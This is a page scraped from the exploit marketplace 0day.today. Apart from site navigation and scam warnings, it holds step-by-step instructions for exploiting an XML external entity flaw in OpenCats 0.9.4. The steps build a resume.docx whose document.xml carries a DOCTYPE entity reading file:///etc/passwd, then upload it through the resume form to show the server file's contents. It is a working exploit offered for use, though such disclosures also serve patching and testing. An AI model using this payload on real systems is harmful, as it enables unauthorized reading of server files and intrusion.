0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OpenCats 0.9.4 XML Injection Vulnerability
[#Author : Raed Ahsan
#Platform : OpenCats
#Version : 0.9.4
#LinkedIn : https://linkedin.com/in/raed-ahsan
<===============================================================================>
*INSTRUCTIONS FOR EXPLOITING THE OPENCATS 0.9.4*
<===============================================================================>
1 ) Create a file called "cv.py"
2 ) Paste the following into the cv.py file:
from docx import Document
document = Document()
paragraph = document.add_paragraph("YOUR NAME")
document.save("resume.docx")
3 ) Run the cv.py
4 ) a resume.docx file has been created.
5 ) unzip the resume.docx
6 ) cd (change directory) to word/
7 ) use your editor and open document.xml
8 ) After the first line where <?xml starts, embed the following:
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
9 ) Find where your name is written in the document.xml. The code will look something like this:
<w:body><w:p><w:r><w:t>YOUR_NAME</w:t></w:r
10 ) remove your name and write "&test;". It will look like this:
<w:body><w:p><w:r><w:t>&test;</w:t></w:r
11 ) Save the file and exit.
12 ) Go out of the word/ directory.
13 ) zip your resume.docx with document.xml using this command:
zip resume.docx word/document.xml
14 ) If correctly zipped, it will respond with (deflated 65%) or 64%
15 ) upload the resume.docx onto the resume upload section of opencats.
16 ) the contents of /etc/passwd will be presented to you in the input field.
# 0day.today [2024-07-05] #